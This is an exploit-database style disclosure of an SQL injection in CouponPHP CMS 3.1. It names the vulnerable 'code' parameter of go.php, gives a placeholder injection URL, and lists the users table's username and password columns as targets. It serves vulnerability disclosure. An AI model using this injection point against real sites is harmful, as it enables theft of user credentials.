CouponPHP CMS 3.1 - 'code' SQL Injection

Author: Ihsan Sencan
type: webapps
platform: php
port: 
date_added: 2017-03-27 
date_updated: 2017-03-27 
verified: 0 
codes:  
tags: 
aliases:  
screenshot_url:  
application_url: 

# # # # #
# Exploit Title: CouponPHP Script v3.1 - SQL Injection
# Google Dork: N/A
# Date: 27.03.2017
# Vendor Homepage: http://couponphp.com/
# Software: http://couponphp.com/demos
# Demo: http://newdemo2.couponphp.com
# Demo: http://newdemo3.couponphp.com
# Version: 3.1
# Tested on: Win7 x64, Kali Linux x64
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# #ihsansencan
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/go.php?coupon_id=1&code=[SQL]
# users
#  id
#  username
#  password
# # # # #